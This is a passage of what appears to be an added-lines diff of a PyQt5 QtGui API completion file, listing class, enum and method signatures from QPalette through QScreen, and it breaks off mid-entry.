+QtGui.QPalette.ColorRole.NoRole?10 +QtGui.QPalette.ColorRole.NColorRoles?10 +QtGui.QPalette.ColorGroup?10 +QtGui.QPalette.ColorGroup.Active?10 +QtGui.QPalette.ColorGroup.Disabled?10 +QtGui.QPalette.ColorGroup.Inactive?10 +QtGui.QPalette.ColorGroup.NColorGroups?10 +QtGui.QPalette.ColorGroup.Current?10 +QtGui.QPalette.ColorGroup.All?10 +QtGui.QPalette.ColorGroup.Normal?10 +QtGui.QPalette?1() +QtGui.QPalette.__init__?1(self) +QtGui.QPalette?1(QColor) +QtGui.QPalette.__init__?1(self, QColor) +QtGui.QPalette?1(Qt.GlobalColor) +QtGui.QPalette.__init__?1(self, Qt.GlobalColor) +QtGui.QPalette?1(QColor, QColor) +QtGui.QPalette.__init__?1(self, QColor, QColor) +QtGui.QPalette?1(QBrush, QBrush, QBrush, QBrush, QBrush, QBrush, QBrush, QBrush, QBrush) +QtGui.QPalette.__init__?1(self, QBrush, QBrush, QBrush, QBrush, QBrush, QBrush, QBrush, QBrush, QBrush) +QtGui.QPalette?1(QPalette) +QtGui.QPalette.__init__?1(self, QPalette) +QtGui.QPalette?1(QVariant) +QtGui.QPalette.__init__?1(self, QVariant) +QtGui.QPalette.currentColorGroup?4() -> QPalette.ColorGroup +QtGui.QPalette.setCurrentColorGroup?4(QPalette.ColorGroup) +QtGui.QPalette.color?4(QPalette.ColorGroup, QPalette.ColorRole) -> QColor +QtGui.QPalette.brush?4(QPalette.ColorGroup, QPalette.ColorRole) -> QBrush +QtGui.QPalette.setBrush?4(QPalette.ColorGroup, QPalette.ColorRole, QBrush) +QtGui.QPalette.setColorGroup?4(QPalette.ColorGroup, QBrush, QBrush, QBrush, QBrush, QBrush, QBrush, QBrush, QBrush, QBrush) +QtGui.QPalette.isEqual?4(QPalette.ColorGroup, QPalette.ColorGroup) -> bool +QtGui.QPalette.color?4(QPalette.ColorRole) -> QColor +QtGui.QPalette.brush?4(QPalette.ColorRole) -> QBrush +QtGui.QPalette.windowText?4() -> QBrush +QtGui.QPalette.button?4() -> QBrush +QtGui.QPalette.light?4() -> QBrush +QtGui.QPalette.dark?4() -> QBrush +QtGui.QPalette.mid?4() -> QBrush +QtGui.QPalette.text?4() -> QBrush +QtGui.QPalette.base?4() -> QBrush +QtGui.QPalette.alternateBase?4() -> QBrush +QtGui.QPalette.window?4() -> QBrush +QtGui.QPalette.midlight?4() -> QBrush +QtGui.QPalette.brightText?4() -> QBrush +QtGui.QPalette.buttonText?4() -> QBrush +QtGui.QPalette.shadow?4() -> QBrush +QtGui.QPalette.highlight?4() -> QBrush +QtGui.QPalette.highlightedText?4() -> QBrush +QtGui.QPalette.link?4() -> QBrush +QtGui.QPalette.linkVisited?4() -> QBrush +QtGui.QPalette.toolTipBase?4() -> QBrush +QtGui.QPalette.toolTipText?4() -> QBrush +QtGui.QPalette.placeholderText?4() -> QBrush +QtGui.QPalette.isCopyOf?4(QPalette) -> bool +QtGui.QPalette.resolve?4(QPalette) -> QPalette +QtGui.QPalette.resolve?4() -> int +QtGui.QPalette.resolve?4(int) +QtGui.QPalette.setColor?4(QPalette.ColorGroup, QPalette.ColorRole, QColor) +QtGui.QPalette.setColor?4(QPalette.ColorRole, QColor) +QtGui.QPalette.setBrush?4(QPalette.ColorRole, QBrush) +QtGui.QPalette.isBrushSet?4(QPalette.ColorGroup, QPalette.ColorRole) -> bool +QtGui.QPalette.cacheKey?4() -> int +QtGui.QPalette.swap?4(QPalette) +QtGui.QPdfWriter?1(QString) +QtGui.QPdfWriter.__init__?1(self, QString) +QtGui.QPdfWriter?1(QIODevice) +QtGui.QPdfWriter.__init__?1(self, QIODevice) +QtGui.QPdfWriter.title?4() -> QString +QtGui.QPdfWriter.setTitle?4(QString) +QtGui.QPdfWriter.creator?4() -> QString +QtGui.QPdfWriter.setCreator?4(QString) +QtGui.QPdfWriter.newPage?4() -> bool +QtGui.QPdfWriter.setPageSize?4(QPagedPaintDevice.PageSize) +QtGui.QPdfWriter.setPageSize?4(QPageSize) -> bool +QtGui.QPdfWriter.setPageSizeMM?4(QSizeF) +QtGui.QPdfWriter.setMargins?4(QPagedPaintDevice.Margins) +QtGui.QPdfWriter.paintEngine?4() -> QPaintEngine +QtGui.QPdfWriter.metric?4(QPaintDevice.PaintDeviceMetric) -> int +QtGui.QPdfWriter.setResolution?4(int) +QtGui.QPdfWriter.resolution?4() -> int +QtGui.QPdfWriter.setPdfVersion?4(QPagedPaintDevice.PdfVersion) +QtGui.QPdfWriter.pdfVersion?4() -> QPagedPaintDevice.PdfVersion +QtGui.QPdfWriter.setDocumentXmpMetadata?4(QByteArray) +QtGui.QPdfWriter.documentXmpMetadata?4() -> QByteArray +QtGui.QPdfWriter.addFileAttachment?4(QString, QByteArray, QString mimeType='') +QtGui.QPen?1() +QtGui.QPen.__init__?1(self) +QtGui.QPen?1(Qt.PenStyle) +QtGui.QPen.__init__?1(self, Qt.PenStyle) +QtGui.QPen?1(QBrush, float, Qt.PenStyle style=Qt.SolidLine, Qt.PenCapStyle cap=Qt.SquareCap, Qt.PenJoinStyle join=Qt.BevelJoin) +QtGui.QPen.__init__?1(self, QBrush, float, Qt.PenStyle style=Qt.SolidLine, Qt.PenCapStyle cap=Qt.SquareCap, Qt.PenJoinStyle join=Qt.BevelJoin) +QtGui.QPen?1(QPen) +QtGui.QPen.__init__?1(self, QPen) +QtGui.QPen?1(QVariant) +QtGui.QPen.__init__?1(self, QVariant) +QtGui.QPen.style?4() -> Qt.PenStyle +QtGui.QPen.setStyle?4(Qt.PenStyle) +QtGui.QPen.widthF?4() -> float +QtGui.QPen.setWidthF?4(float) +QtGui.QPen.width?4() -> int +QtGui.QPen.setWidth?4(int) +QtGui.QPen.color?4() -> QColor +QtGui.QPen.setColor?4(QColor) +QtGui.QPen.brush?4() -> QBrush +QtGui.QPen.setBrush?4(QBrush) +QtGui.QPen.isSolid?4() -> bool +QtGui.QPen.capStyle?4() -> Qt.PenCapStyle +QtGui.QPen.setCapStyle?4(Qt.PenCapStyle) +QtGui.QPen.joinStyle?4() -> Qt.PenJoinStyle +QtGui.QPen.setJoinStyle?4(Qt.PenJoinStyle) +QtGui.QPen.dashPattern?4() -> unknown-type +QtGui.QPen.setDashPattern?4(unknown-type) +QtGui.QPen.miterLimit?4() -> float +QtGui.QPen.setMiterLimit?4(float) +QtGui.QPen.dashOffset?4() -> float +QtGui.QPen.setDashOffset?4(float) +QtGui.QPen.isCosmetic?4() -> bool +QtGui.QPen.setCosmetic?4(bool) +QtGui.QPen.swap?4(QPen) +QtGui.QPicture?1(int formatVersion=-1) +QtGui.QPicture.__init__?1(self, int formatVersion=-1) +QtGui.QPicture?1(QPicture) +QtGui.QPicture.__init__?1(self, QPicture) +QtGui.QPicture.isNull?4() -> bool +QtGui.QPicture.devType?4() -> int +QtGui.QPicture.size?4() -> int +QtGui.QPicture.data?4() -> str +QtGui.QPicture.setData?4(bytes) +QtGui.QPicture.play?4(QPainter) -> bool +QtGui.QPicture.load?4(QIODevice, str format=None) -> bool +QtGui.QPicture.load?4(QString, str format=None) -> bool +QtGui.QPicture.save?4(QIODevice, str format=None) -> bool +QtGui.QPicture.save?4(QString, str format=None) -> bool +QtGui.QPicture.boundingRect?4() -> QRect +QtGui.QPicture.setBoundingRect?4(QRect) +QtGui.QPicture.detach?4() +QtGui.QPicture.isDetached?4() -> bool +QtGui.QPicture.paintEngine?4() -> QPaintEngine +QtGui.QPicture.metric?4(QPaintDevice.PaintDeviceMetric) -> int +QtGui.QPicture.swap?4(QPicture) +QtGui.QPictureIO?1() +QtGui.QPictureIO.__init__?1(self) +QtGui.QPictureIO?1(QIODevice, str) +QtGui.QPictureIO.__init__?1(self, QIODevice, str) +QtGui.QPictureIO?1(QString, str) +QtGui.QPictureIO.__init__?1(self, QString, str) +QtGui.QPictureIO.picture?4() -> QPicture +QtGui.QPictureIO.status?4() -> int +QtGui.QPictureIO.format?4() -> str +QtGui.QPictureIO.ioDevice?4() -> QIODevice +QtGui.QPictureIO.fileName?4() -> QString +QtGui.QPictureIO.quality?4() -> int +QtGui.QPictureIO.description?4() -> QString +QtGui.QPictureIO.parameters?4() -> str +QtGui.QPictureIO.gamma?4() -> float +QtGui.QPictureIO.setPicture?4(QPicture) +QtGui.QPictureIO.setStatus?4(int) +QtGui.QPictureIO.setFormat?4(str) +QtGui.QPictureIO.setIODevice?4(QIODevice) +QtGui.QPictureIO.setFileName?4(QString) +QtGui.QPictureIO.setQuality?4(int) +QtGui.QPictureIO.setDescription?4(QString) +QtGui.QPictureIO.setParameters?4(str) +QtGui.QPictureIO.setGamma?4(float) +QtGui.QPictureIO.read?4() -> bool +QtGui.QPictureIO.write?4() -> bool +QtGui.QPictureIO.pictureFormat?4(QString) -> QByteArray +QtGui.QPictureIO.pictureFormat?4(QIODevice) -> QByteArray +QtGui.QPictureIO.inputFormats?4() -> unknown-type +QtGui.QPictureIO.outputFormats?4() -> unknown-type +QtGui.QPictureIO.defineIOHandler?4(str, str, str, callable, callable) +QtGui.QPixelFormat.ByteOrder?10 +QtGui.QPixelFormat.ByteOrder.LittleEndian?10 +QtGui.QPixelFormat.ByteOrder.BigEndian?10 +QtGui.QPixelFormat.ByteOrder.CurrentSystemEndian?10 +QtGui.QPixelFormat.YUVLayout?10 +QtGui.QPixelFormat.YUVLayout.YUV444?10 +QtGui.QPixelFormat.YUVLayout.YUV422?10 +QtGui.QPixelFormat.YUVLayout.YUV411?10 +QtGui.QPixelFormat.YUVLayout.YUV420P?10 +QtGui.QPixelFormat.YUVLayout.YUV420SP?10 +QtGui.QPixelFormat.YUVLayout.YV12?10 +QtGui.QPixelFormat.YUVLayout.UYVY?10 +QtGui.QPixelFormat.YUVLayout.YUYV?10 +QtGui.QPixelFormat.YUVLayout.NV12?10 +QtGui.QPixelFormat.YUVLayout.NV21?10 +QtGui.QPixelFormat.YUVLayout.IMC1?10 +QtGui.QPixelFormat.YUVLayout.IMC2?10 +QtGui.QPixelFormat.YUVLayout.IMC3?10 +QtGui.QPixelFormat.YUVLayout.IMC4?10 +QtGui.QPixelFormat.YUVLayout.Y8?10 +QtGui.QPixelFormat.YUVLayout.Y16?10 +QtGui.QPixelFormat.TypeInterpretation?10 +QtGui.QPixelFormat.TypeInterpretation.UnsignedInteger?10 +QtGui.QPixelFormat.TypeInterpretation.UnsignedShort?10 +QtGui.QPixelFormat.TypeInterpretation.UnsignedByte?10 +QtGui.QPixelFormat.TypeInterpretation.FloatingPoint?10 +QtGui.QPixelFormat.AlphaPremultiplied?10 +QtGui.QPixelFormat.AlphaPremultiplied.NotPremultiplied?10 +QtGui.QPixelFormat.AlphaPremultiplied.Premultiplied?10 +QtGui.QPixelFormat.AlphaPosition?10 +QtGui.QPixelFormat.AlphaPosition.AtBeginning?10 +QtGui.QPixelFormat.AlphaPosition.AtEnd?10 +QtGui.QPixelFormat.AlphaUsage?10 +QtGui.QPixelFormat.AlphaUsage.UsesAlpha?10 +QtGui.QPixelFormat.AlphaUsage.IgnoresAlpha?10 +QtGui.QPixelFormat.ColorModel?10 +QtGui.QPixelFormat.ColorModel.RGB?10 +QtGui.QPixelFormat.ColorModel.BGR?10 +QtGui.QPixelFormat.ColorModel.Indexed?10 +QtGui.QPixelFormat.ColorModel.Grayscale?10 +QtGui.QPixelFormat.ColorModel.CMYK?10 +QtGui.QPixelFormat.ColorModel.HSL?10 +QtGui.QPixelFormat.ColorModel.HSV?10 +QtGui.QPixelFormat.ColorModel.YUV?10 +QtGui.QPixelFormat.ColorModel.Alpha?10 +QtGui.QPixelFormat?1() +QtGui.QPixelFormat.__init__?1(self) +QtGui.QPixelFormat?1(QPixelFormat.ColorModel, int, int, int, int, int, int, QPixelFormat.AlphaUsage, QPixelFormat.AlphaPosition, QPixelFormat.AlphaPremultiplied, QPixelFormat.TypeInterpretation, QPixelFormat.ByteOrder byteOrder=QPixelFormat.CurrentSystemEndian, int subEnum=0) +QtGui.QPixelFormat.__init__?1(self, QPixelFormat.ColorModel, int, int, int, int, int, int, QPixelFormat.AlphaUsage, QPixelFormat.AlphaPosition, QPixelFormat.AlphaPremultiplied, QPixelFormat.TypeInterpretation, QPixelFormat.ByteOrder byteOrder=QPixelFormat.CurrentSystemEndian, int subEnum=0) +QtGui.QPixelFormat?1(QPixelFormat) +QtGui.QPixelFormat.__init__?1(self, QPixelFormat) +QtGui.QPixelFormat.colorModel?4() -> QPixelFormat.ColorModel +QtGui.QPixelFormat.channelCount?4() -> int +QtGui.QPixelFormat.redSize?4() -> int +QtGui.QPixelFormat.greenSize?4() -> int +QtGui.QPixelFormat.blueSize?4() -> int +QtGui.QPixelFormat.cyanSize?4() -> int +QtGui.QPixelFormat.magentaSize?4() -> int +QtGui.QPixelFormat.yellowSize?4() -> int +QtGui.QPixelFormat.blackSize?4() -> int +QtGui.QPixelFormat.hueSize?4() -> int +QtGui.QPixelFormat.saturationSize?4() -> int +QtGui.QPixelFormat.lightnessSize?4() -> int +QtGui.QPixelFormat.brightnessSize?4() -> int +QtGui.QPixelFormat.alphaSize?4() -> int +QtGui.QPixelFormat.bitsPerPixel?4() -> int +QtGui.QPixelFormat.alphaUsage?4() -> QPixelFormat.AlphaUsage +QtGui.QPixelFormat.alphaPosition?4() -> QPixelFormat.AlphaPosition +QtGui.QPixelFormat.premultiplied?4() -> QPixelFormat.AlphaPremultiplied +QtGui.QPixelFormat.typeInterpretation?4() -> QPixelFormat.TypeInterpretation +QtGui.QPixelFormat.byteOrder?4() -> QPixelFormat.ByteOrder +QtGui.QPixelFormat.yuvLayout?4() -> QPixelFormat.YUVLayout +QtGui.QPixelFormat.subEnum?4() -> int +QtGui.QPixmapCache?1() +QtGui.QPixmapCache.__init__?1(self) +QtGui.QPixmapCache?1(QPixmapCache) +QtGui.QPixmapCache.__init__?1(self, QPixmapCache) +QtGui.QPixmapCache.cacheLimit?4() -> int +QtGui.QPixmapCache.clear?4() +QtGui.QPixmapCache.find?4(QString) -> QPixmap +QtGui.QPixmapCache.find?4(QPixmapCache.Key) -> QPixmap +QtGui.QPixmapCache.insert?4(QString, QPixmap) -> bool +QtGui.QPixmapCache.insert?4(QPixmap) -> QPixmapCache.Key +QtGui.QPixmapCache.remove?4(QString) +QtGui.QPixmapCache.remove?4(QPixmapCache.Key) +QtGui.QPixmapCache.replace?4(QPixmapCache.Key, QPixmap) -> bool +QtGui.QPixmapCache.setCacheLimit?4(int) +QtGui.QPixmapCache.Key?1() +QtGui.QPixmapCache.Key.__init__?1(self) +QtGui.QPixmapCache.Key?1(QPixmapCache.Key) +QtGui.QPixmapCache.Key.__init__?1(self, QPixmapCache.Key) +QtGui.QPixmapCache.Key.swap?4(QPixmapCache.Key) +QtGui.QPixmapCache.Key.isValid?4() -> bool +QtGui.QPolygon?1() +QtGui.QPolygon.__init__?1(self) +QtGui.QPolygon?1(QPolygon) +QtGui.QPolygon.__init__?1(self, QPolygon) +QtGui.QPolygon?1(list) +QtGui.QPolygon.__init__?1(self, list) +QtGui.QPolygon?1(unknown-type) +QtGui.QPolygon.__init__?1(self, unknown-type) +QtGui.QPolygon?1(QRect, bool closed=False) +QtGui.QPolygon.__init__?1(self, QRect, bool closed=False) +QtGui.QPolygon?1(int) +QtGui.QPolygon.__init__?1(self, int) +QtGui.QPolygon?1(QVariant) +QtGui.QPolygon.__init__?1(self, QVariant) +QtGui.QPolygon.translate?4(int, int) +QtGui.QPolygon.boundingRect?4() -> QRect +QtGui.QPolygon.point?4(int) -> QPoint +QtGui.QPolygon.setPoints?4(list) +QtGui.QPolygon.setPoints?4(int, int, ...) +QtGui.QPolygon.putPoints?4(int, int, int, ...) +QtGui.QPolygon.putPoints?4(int, int, QPolygon, int from=0) +QtGui.QPolygon.setPoint?4(int, QPoint) +QtGui.QPolygon.setPoint?4(int, int, int) +QtGui.QPolygon.translate?4(QPoint) +QtGui.QPolygon.containsPoint?4(QPoint, Qt.FillRule) -> bool +QtGui.QPolygon.united?4(QPolygon) -> QPolygon +QtGui.QPolygon.intersected?4(QPolygon) -> QPolygon +QtGui.QPolygon.subtracted?4(QPolygon) -> QPolygon +QtGui.QPolygon.translated?4(int, int) -> QPolygon +QtGui.QPolygon.translated?4(QPoint) -> QPolygon +QtGui.QPolygon.append?4(QPoint) +QtGui.QPolygon.at?4(int) -> QPoint +QtGui.QPolygon.clear?4() +QtGui.QPolygon.contains?4(QPoint) -> bool +QtGui.QPolygon.count?4(QPoint) -> int +QtGui.QPolygon.count?4() -> int +QtGui.QPolygon.data?4() -> sip.voidptr +QtGui.QPolygon.fill?4(QPoint, int size=-1) +QtGui.QPolygon.first?4() -> QPoint +QtGui.QPolygon.indexOf?4(QPoint, int from=0) -> int +QtGui.QPolygon.insert?4(int, QPoint) +QtGui.QPolygon.isEmpty?4() -> bool +QtGui.QPolygon.last?4() -> QPoint +QtGui.QPolygon.lastIndexOf?4(QPoint, int from=-1) -> int +QtGui.QPolygon.mid?4(int, int length=-1) -> QPolygon +QtGui.QPolygon.prepend?4(QPoint) +QtGui.QPolygon.remove?4(int) +QtGui.QPolygon.remove?4(int, int) +QtGui.QPolygon.replace?4(int, QPoint) +QtGui.QPolygon.size?4() -> int +QtGui.QPolygon.value?4(int) -> QPoint +QtGui.QPolygon.value?4(int, QPoint) -> QPoint +QtGui.QPolygon.swap?4(QPolygon) +QtGui.QPolygon.intersects?4(QPolygon) -> bool +QtGui.QPolygonF?1() +QtGui.QPolygonF.__init__?1(self) +QtGui.QPolygonF?1(QPolygonF) +QtGui.QPolygonF.__init__?1(self, QPolygonF) +QtGui.QPolygonF?1(unknown-type) +QtGui.QPolygonF.__init__?1(self, unknown-type) +QtGui.QPolygonF?1(QRectF) +QtGui.QPolygonF.__init__?1(self, QRectF) +QtGui.QPolygonF?1(QPolygon) +QtGui.QPolygonF.__init__?1(self, QPolygon) +QtGui.QPolygonF?1(int) +QtGui.QPolygonF.__init__?1(self, int) +QtGui.QPolygonF.translate?4(QPointF) +QtGui.QPolygonF.toPolygon?4() -> QPolygon +QtGui.QPolygonF.isClosed?4() -> bool +QtGui.QPolygonF.boundingRect?4() -> QRectF +QtGui.QPolygonF.translate?4(float, float) +QtGui.QPolygonF.containsPoint?4(QPointF, Qt.FillRule) -> bool +QtGui.QPolygonF.united?4(QPolygonF) -> QPolygonF +QtGui.QPolygonF.intersected?4(QPolygonF) -> QPolygonF +QtGui.QPolygonF.subtracted?4(QPolygonF) -> QPolygonF +QtGui.QPolygonF.translated?4(QPointF) -> QPolygonF +QtGui.QPolygonF.translated?4(float, float) -> QPolygonF +QtGui.QPolygonF.append?4(QPointF) +QtGui.QPolygonF.at?4(int) -> QPointF +QtGui.QPolygonF.clear?4() +QtGui.QPolygonF.contains?4(QPointF) -> bool +QtGui.QPolygonF.count?4(QPointF) -> int +QtGui.QPolygonF.count?4() -> int +QtGui.QPolygonF.data?4() -> sip.voidptr +QtGui.QPolygonF.fill?4(QPointF, int size=-1) +QtGui.QPolygonF.first?4() -> QPointF +QtGui.QPolygonF.indexOf?4(QPointF, int from=0) -> int +QtGui.QPolygonF.insert?4(int, QPointF) +QtGui.QPolygonF.isEmpty?4() -> bool +QtGui.QPolygonF.last?4() -> QPointF +QtGui.QPolygonF.lastIndexOf?4(QPointF, int from=-1) -> int +QtGui.QPolygonF.mid?4(int, int length=-1) -> QPolygonF +QtGui.QPolygonF.prepend?4(QPointF) +QtGui.QPolygonF.remove?4(int) +QtGui.QPolygonF.remove?4(int, int) +QtGui.QPolygonF.replace?4(int, QPointF) +QtGui.QPolygonF.size?4() -> int +QtGui.QPolygonF.value?4(int) -> QPointF +QtGui.QPolygonF.value?4(int, QPointF) -> QPointF +QtGui.QPolygonF.swap?4(QPolygonF) +QtGui.QPolygonF.intersects?4(QPolygonF) -> bool +QtGui.QQuaternion?1() +QtGui.QQuaternion.__init__?1(self) +QtGui.QQuaternion?1(float, float, float, float) +QtGui.QQuaternion.__init__?1(self, float, float, float, float) +QtGui.QQuaternion?1(float, QVector3D) +QtGui.QQuaternion.__init__?1(self, float, QVector3D) +QtGui.QQuaternion?1(QVector4D) +QtGui.QQuaternion.__init__?1(self, QVector4D) +QtGui.QQuaternion?1(QQuaternion) +QtGui.QQuaternion.__init__?1(self, QQuaternion) +QtGui.QQuaternion.length?4() -> float +QtGui.QQuaternion.lengthSquared?4() -> float +QtGui.QQuaternion.normalized?4() -> QQuaternion +QtGui.QQuaternion.normalize?4() +QtGui.QQuaternion.rotatedVector?4(QVector3D) -> QVector3D +QtGui.QQuaternion.fromAxisAndAngle?4(QVector3D, float) -> QQuaternion +QtGui.QQuaternion.fromAxisAndAngle?4(float, float, float, float) -> QQuaternion +QtGui.QQuaternion.slerp?4(QQuaternion, QQuaternion, float) -> QQuaternion +QtGui.QQuaternion.nlerp?4(QQuaternion, QQuaternion, float) -> QQuaternion +QtGui.QQuaternion.isNull?4() -> bool +QtGui.QQuaternion.isIdentity?4() -> bool +QtGui.QQuaternion.x?4() -> float +QtGui.QQuaternion.y?4() -> float +QtGui.QQuaternion.z?4() -> float +QtGui.QQuaternion.scalar?4() -> float +QtGui.QQuaternion.setX?4(float) +QtGui.QQuaternion.setY?4(float) +QtGui.QQuaternion.setZ?4(float) +QtGui.QQuaternion.setScalar?4(float) +QtGui.QQuaternion.conjugate?4() -> QQuaternion +QtGui.QQuaternion.setVector?4(QVector3D) +QtGui.QQuaternion.vector?4() -> QVector3D +QtGui.QQuaternion.setVector?4(float, float, float) +QtGui.QQuaternion.toVector4D?4() -> QVector4D +QtGui.QQuaternion.getAxisAndAngle?4() -> (QVector3D, float) +QtGui.QQuaternion.getEulerAngles?4() -> (float, float, float) +QtGui.QQuaternion.fromEulerAngles?4(float, float, float) -> QQuaternion +QtGui.QQuaternion.toRotationMatrix?4() -> QMatrix3x3 +QtGui.QQuaternion.fromRotationMatrix?4(QMatrix3x3) -> QQuaternion +QtGui.QQuaternion.getAxes?4() -> (QVector3D, QVector3D, QVector3D) +QtGui.QQuaternion.fromAxes?4(QVector3D, QVector3D, QVector3D) -> QQuaternion +QtGui.QQuaternion.fromDirection?4(QVector3D, QVector3D) -> QQuaternion +QtGui.QQuaternion.rotationTo?4(QVector3D, QVector3D) -> QQuaternion +QtGui.QQuaternion.dotProduct?4(QQuaternion, QQuaternion) -> float +QtGui.QQuaternion.inverted?4() -> QQuaternion +QtGui.QQuaternion.conjugated?4() -> QQuaternion +QtGui.QQuaternion.toEulerAngles?4() -> QVector3D +QtGui.QQuaternion.fromEulerAngles?4(QVector3D) -> QQuaternion +QtGui.QRasterWindow?1(QWindow parent=None) +QtGui.QRasterWindow.__init__?1(self, QWindow parent=None) +QtGui.QRasterWindow.metric?4(QPaintDevice.PaintDeviceMetric) -> int +QtGui.QRawFont.LayoutFlag?10 +QtGui.QRawFont.LayoutFlag.SeparateAdvances?10 +QtGui.QRawFont.LayoutFlag.KernedAdvances?10 +QtGui.QRawFont.LayoutFlag.UseDesignMetrics?10 +QtGui.QRawFont.AntialiasingType?10 +QtGui.QRawFont.AntialiasingType.PixelAntialiasing?10 +QtGui.QRawFont.AntialiasingType.SubPixelAntialiasing?10 +QtGui.QRawFont?1() +QtGui.QRawFont.__init__?1(self) +QtGui.QRawFont?1(QString, float, QFont.HintingPreference hintingPreference=QFont.PreferDefaultHinting) +QtGui.QRawFont.__init__?1(self, QString, float, QFont.HintingPreference hintingPreference=QFont.PreferDefaultHinting) +QtGui.QRawFont?1(QByteArray, float, QFont.HintingPreference hintingPreference=QFont.PreferDefaultHinting) +QtGui.QRawFont.__init__?1(self, QByteArray, float, QFont.HintingPreference hintingPreference=QFont.PreferDefaultHinting) +QtGui.QRawFont?1(QRawFont) +QtGui.QRawFont.__init__?1(self, QRawFont) +QtGui.QRawFont.isValid?4() -> bool +QtGui.QRawFont.familyName?4() -> QString +QtGui.QRawFont.styleName?4() -> QString +QtGui.QRawFont.style?4() -> QFont.Style +QtGui.QRawFont.weight?4() -> int +QtGui.QRawFont.glyphIndexesForString?4(QString) -> unknown-type +QtGui.QRawFont.advancesForGlyphIndexes?4(unknown-type) -> unknown-type +QtGui.QRawFont.advancesForGlyphIndexes?4(unknown-type, QRawFont.LayoutFlags) -> unknown-type +QtGui.QRawFont.alphaMapForGlyph?4(int, QRawFont.AntialiasingType antialiasingType=QRawFont.SubPixelAntialiasing, QTransform transform=QTransform()) -> QImage +QtGui.QRawFont.pathForGlyph?4(int) -> QPainterPath +QtGui.QRawFont.setPixelSize?4(float) +QtGui.QRawFont.pixelSize?4() -> float +QtGui.QRawFont.hintingPreference?4() -> QFont.HintingPreference +QtGui.QRawFont.ascent?4() -> float +QtGui.QRawFont.descent?4() -> float +QtGui.QRawFont.leading?4() -> float +QtGui.QRawFont.xHeight?4() -> float +QtGui.QRawFont.averageCharWidth?4() -> float +QtGui.QRawFont.maxCharWidth?4() -> float +QtGui.QRawFont.unitsPerEm?4() -> float +QtGui.QRawFont.loadFromFile?4(QString, float, QFont.HintingPreference) +QtGui.QRawFont.loadFromData?4(QByteArray, float, QFont.HintingPreference) +QtGui.QRawFont.supportsCharacter?4(int) -> bool +QtGui.QRawFont.supportsCharacter?4(QChar) -> bool +QtGui.QRawFont.supportedWritingSystems?4() -> unknown-type +QtGui.QRawFont.fontTable?4(str) -> QByteArray +QtGui.QRawFont.fromFont?4(QFont, QFontDatabase.WritingSystem writingSystem=QFontDatabase.Any) -> QRawFont +QtGui.QRawFont.boundingRect?4(int) -> QRectF +QtGui.QRawFont.lineThickness?4() -> float +QtGui.QRawFont.underlinePosition?4() -> float +QtGui.QRawFont.swap?4(QRawFont) +QtGui.QRawFont.capHeight?4() -> float +QtGui.QRawFont.LayoutFlags?1() +QtGui.QRawFont.LayoutFlags.__init__?1(self) +QtGui.QRawFont.LayoutFlags?1(int) +QtGui.QRawFont.LayoutFlags.__init__?1(self, int) +QtGui.QRawFont.LayoutFlags?1(QRawFont.LayoutFlags) +QtGui.QRawFont.LayoutFlags.__init__?1(self, QRawFont.LayoutFlags) +QtGui.QRegion.RegionType?10 +QtGui.QRegion.RegionType.Rectangle?10 +QtGui.QRegion.RegionType.Ellipse?10 +QtGui.QRegion?1() +QtGui.QRegion.__init__?1(self) +QtGui.QRegion?1(int, int, int, int, QRegion.RegionType type=QRegion.Rectangle) +QtGui.QRegion.__init__?1(self, int, int, int, int, QRegion.RegionType type=QRegion.Rectangle) +QtGui.QRegion?1(QRect, QRegion.RegionType type=QRegion.Rectangle) +QtGui.QRegion.__init__?1(self, QRect, QRegion.RegionType type=QRegion.Rectangle) +QtGui.QRegion?1(QPolygon, Qt.FillRule fillRule=Qt.OddEvenFill) +QtGui.QRegion.__init__?1(self, QPolygon, Qt.FillRule fillRule=Qt.OddEvenFill) +QtGui.QRegion?1(QBitmap) +QtGui.QRegion.__init__?1(self, QBitmap) +QtGui.QRegion?1(QRegion) +QtGui.QRegion.__init__?1(self, QRegion) +QtGui.QRegion?1(QVariant) +QtGui.QRegion.__init__?1(self, QVariant) +QtGui.QRegion.isEmpty?4() -> bool +QtGui.QRegion.contains?4(QPoint) -> bool +QtGui.QRegion.contains?4(QRect) -> bool +QtGui.QRegion.translate?4(int, int) +QtGui.QRegion.translate?4(QPoint) +QtGui.QRegion.translated?4(int, int) -> QRegion +QtGui.QRegion.translated?4(QPoint) -> QRegion +QtGui.QRegion.united?4(QRegion) -> QRegion +QtGui.QRegion.united?4(QRect) -> QRegion +QtGui.QRegion.boundingRect?4() -> QRect +QtGui.QRegion.rects?4() -> unknown-type +QtGui.QRegion.setRects?4(unknown-type) +QtGui.QRegion.intersected?4(QRegion) -> QRegion +QtGui.QRegion.intersected?4(QRect) -> QRegion +QtGui.QRegion.subtracted?4(QRegion) -> QRegion +QtGui.QRegion.xored?4(QRegion) -> QRegion +QtGui.QRegion.intersects?4(QRegion) -> bool +QtGui.QRegion.intersects?4(QRect) -> bool +QtGui.QRegion.rectCount?4() -> int +QtGui.QRegion.swap?4(QRegion) +QtGui.QRegion.isNull?4() -> bool +QtGui.QRgba64?1() +QtGui.QRgba64.__init__?1(self) +QtGui.QRgba64?1(QRgba64) +QtGui.QRgba64.__init__?1(self, QRgba64) +QtGui.QRgba64.fromRgba64?4(int) -> QRgba64 +QtGui.QRgba64.fromRgba64?4(int, int, int, int) -> QRgba64 +QtGui.QRgba64.fromRgba?4(int, int, int, int) -> QRgba64 +QtGui.QRgba64.fromArgb32?4(int) -> QRgba64 +QtGui.QRgba64.isOpaque?4() -> bool +QtGui.QRgba64.isTransparent?4() -> bool +QtGui.QRgba64.red?4() -> int +QtGui.QRgba64.green?4() -> int +QtGui.QRgba64.blue?4() -> int +QtGui.QRgba64.alpha?4() -> int +QtGui.QRgba64.setRed?4(int) +QtGui.QRgba64.setGreen?4(int) +QtGui.QRgba64.setBlue?4(int) +QtGui.QRgba64.setAlpha?4(int) +QtGui.QRgba64.red8?4() -> int +QtGui.QRgba64.green8?4() -> int +QtGui.QRgba64.blue8?4() -> int +QtGui.QRgba64.alpha8?4() -> int +QtGui.QRgba64.toArgb32?4() -> int +QtGui.QRgba64.toRgb16?4() -> int +QtGui.QRgba64.premultiplied?4() -> QRgba64 +QtGui.QRgba64.unpremultiplied?4() -> QRgba64 +QtGui.QScreen.name?4() -> QString +QtGui.QScreen.depth?4() -> int +QtGui.QScreen.size?4() -> QSize +QtGui.QScreen.geometry?4() -> QRect +QtGui.QScreen.physicalSize?4() -> QSizeF +QtGui.QScreen.physicalDotsPerInchX?4() -> float +QtGui.QScreen.physicalDotsPerInchY?4() -> float +QtGui.QScreen.physicalDotsPerInch?4() -> float +QtGui.QScreen.logicalDotsPerInchX?4() -> float +QtGui.QScreen.logicalDotsPerInchY?4() 